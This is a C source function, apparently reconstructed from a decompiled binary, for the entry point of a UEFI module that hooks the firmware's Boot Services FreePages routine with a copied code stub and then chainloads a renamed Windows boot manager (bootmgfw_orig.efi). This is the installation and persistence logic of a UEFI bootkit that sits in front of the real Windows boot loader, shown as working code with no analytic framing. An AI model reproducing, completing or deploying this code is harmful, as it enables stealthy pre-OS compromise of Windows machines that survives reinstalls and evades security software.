173 lines
6.4 KiB
Plaintext
173 lines
6.4 KiB
Plaintext
EFI_STATUS ModuleEntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE* SystemTable)
|
|||
|
|
{
|
||
|
|
EFI_BOOT_SERVICES* BS = SystemTable->BootServices;
|
||
|
|
EFI_STATUS status;
|
||
|
|
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
// "sub_7B6()" — constant used as fake base / delta anchor
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
UINT64 fakeBase = 1974;
|
||
|
|
|
||
|
|
// qword_7A0 - sub_7B6() (image-global delta)
|
||
|
|
UINT64 imageDelta = ((UINT64)qword_7A0) - fakeBase;
|
||
|
|
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
// Locate PE image base by scanning downward for MZ + PE headers
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
UINT64 peBase;
|
||
|
|
for (peBase = ((UINT64)ModuleEntryPoint & ~0xFFFULL); ;peBase -= 0x1000)
|
||
|
|
{
|
||
|
|
// "MZ"
|
||
|
|
if (*(UINT16*)peBase == 0x5A4D) {
|
||
|
|
UINT32 peOff = *(UINT32*)(peBase + 0x3C);
|
||
|
|
|
||
|
|
// "PE\0\0"
|
||
|
|
if (*(UINT32*)(peBase + peOff) == 0x4550) {
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
// Calculate size of hook stub (self-copying code)
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
UINT64 hookSize = (fakeBase + (11 - ((UINT64)sub_684 - fakeBase))) + fakeBase;
|
||
|
|
|
||
|
|
EFI_PHYSICAL_ADDRESS hookPages = 0;
|
||
|
|
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
// Allocate pages for hook
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
status = BS->AllocatePages(AllocateAnyPages, EfiLoaderData, (hookSize + 0xFFF) >> 12, &hookPages);
|
||
|
|
|
||
|
|
if (EFI_ERROR(status)) {
|
||
|
|
// Print warning
|
||
|
|
((EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL*)*(UINT64*)(*(UINT64*)(fakeBase + imageDelta) + 64))->OutputString((VOID*)(*(UINT64*)(fakeBase + imageDelta) + 64), L"Warning: Hook allocation failed\r\n");
|
||
|
|
}
|
||
|
|
else {
|
||
|
|
// Save SystemTable and original FreePages
|
||
|
|
*(UINT64*)(fakeBase + imageDelta) = (UINT64)SystemTable;
|
||
|
|
*(UINT64*)(fakeBase + imageDelta + 8) = (UINT64)BS->FreePages;
|
||
|
|
|
||
|
|
// Copy hook code byte-for-byte
|
||
|
|
for (UINT64 i = 0; i < hookSize; i++) {
|
||
|
|
((UINT8*)hookPages)[i] = ((UINT8*)sub_684)[i];
|
||
|
|
}
|
||
|
|
|
||
|
|
// Install hook
|
||
|
|
BS->FreePages = (VOID*)hookPages;
|
||
|
|
}
|
||
|
|
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
// Get Loaded Image Protocol
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
EFI_LOADED_IMAGE_PROTOCOL* loadedImage = NULL;
|
||
|
|
status = BS->HandleProtocol(ImageHandle, &gEfiLoadedImageProtocolGuid, (VOID**)&loadedImage);
|
||
|
|
|
||
|
|
if (EFI_ERROR(status) || !loadedImage) {
|
||
|
|
goto fatal_loaded_image;
|
||
|
|
}
|
||
|
|
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
// Get Simple File System
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
EFI_SIMPLE_FILE_SYSTEM_PROTOCOL* fs = NULL;
|
||
|
|
status = BS->HandleProtocol(loadedImage->DeviceHandle, &gEfiSimpleFileSystemProtocolGuid, (VOID**)&fs);
|
||
|
|
|
||
|
|
if (EFI_ERROR(status) || !fs) {
|
||
|
|
goto fatal_fs;
|
||
|
|
}
|
||
|
|
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
// Open volume
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
EFI_FILE_PROTOCOL* root = NULL;
|
||
|
|
status = fs->OpenVolume(fs, &root);
|
||
|
|
if (EFI_ERROR(status) || !root) {
|
||
|
|
goto fatal_volume;
|
||
|
|
}
|
||
|
|
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
// Open bootmgfw_orig.efi
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
EFI_FILE_PROTOCOL* file = NULL;
|
||
|
|
status = root->Open(root, &file, L"EFI\\Microsoft\\Boot\\bootmgfw_orig.efi", EFI_FILE_MODE_READ, 0);
|
||
|
|
|
||
|
|
if (EFI_ERROR(status) || !file) {
|
||
|
|
goto fatal_file;
|
||
|
|
}
|
||
|
|
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
// Get file size
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
UINTN infoSize = 0;
|
||
|
|
file->GetInfo(file, &gEfiFileInfoGuid, &infoSize, NULL);
|
||
|
|
|
||
|
|
EFI_FILE_INFO* fileInfo = NULL;
|
||
|
|
status = BS->AllocatePool(EfiLoaderData, infoSize, (VOID**)&fileInfo);
|
||
|
|
if (EFI_ERROR(status)) {
|
||
|
|
goto fatal_fileinfo;
|
||
|
|
}
|
||
|
|
|
||
|
|
status = file->GetInfo(file, &gEfiFileInfoGuid, &infoSize, fileInfo);
|
||
|
|
if (EFI_ERROR(status)) {
|
||
|
|
goto fatal_fileinfo;
|
||
|
|
}
|
||
|
|
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
// Read entire file
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
VOID* fileBuffer = NULL;
|
||
|
|
UINTN fileSize = fileInfo->FileSize;
|
||
|
|
|
||
|
|
status = BS->AllocatePool(EfiLoaderData, fileSize, &fileBuffer);
|
||
|
|
if (EFI_ERROR(status)) {
|
||
|
|
goto fatal_read;
|
||
|
|
}
|
||
|
|
|
||
|
|
status = file->Read(file, &fileSize, fileBuffer);
|
||
|
|
if (EFI_ERROR(status)) {
|
||
|
|
goto fatal_read;
|
||
|
|
}
|
||
|
|
|
||
|
|
file->Close(file);
|
||
|
|
root->Close(root);
|
||
|
|
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
// Load + start original boot manager
|
||
|
|
// --------------------------------------------------------------------
|
||
|
|
EFI_HANDLE childImage = NULL;
|
||
|
|
status = BS->LoadImage(TRUE, ImageHandle, loadedImage->FilePath, fileBuffer, fileSize, &childImage);
|
||
|
|
|
||
|
|
if (EFI_ERROR(status)) {
|
||
|
|
goto fatal_load;
|
||
|
|
}
|
||
|
|
|
||
|
|
BS->FreePool(fileBuffer);
|
||
|
|
BS->FreePool(fileInfo);
|
||
|
|
|
||
|
|
status = BS->StartImage(childImage, NULL, NULL);
|
||
|
|
|
||
|
|
// If it ever returns, it's an error
|
||
|
|
((EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL*)*(UINT64*)(*(UINT64*)(fakeBase + imageDelta) + 64))->OutputString((VOID*)(*(UINT64*)(fakeBase + imageDelta) + 64), L"Error: Original boot manager returned unexpectedly\r\n");
|
||
|
|
|
||
|
|
return status;
|
||
|
|
|
||
|
|
// ------------------------------------------------------------------------
|
||
|
|
// Fatal error handler
|
||
|
|
// ------------------------------------------------------------------------
|
||
|
|
fatal_loaded_image:
|
||
|
|
fatal_fs:
|
||
|
|
fatal_volume:
|
||
|
|
fatal_file:
|
||
|
|
fatal_fileinfo:
|
||
|
|
fatal_read:
|
||
|
|
fatal_load:
|
||
|
|
((EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL*)*(UINT64*)(*(UINT64*)(fakeBase + imageDelta) + 64))->OutputString((VOID*)(*(UINT64*)(fakeBase + imageDelta) + 64), L"CRITICAL: Cannot chainload boot manager!\r\n");
|
||
|
|
|
||
|
|
while (1) {
|
||
|
|
BS->Stall(1000000);
|
||
|
|
}
|
||
|
|
|
||
|
|
return EFI_ABORTED;
|
||
|
|
}
|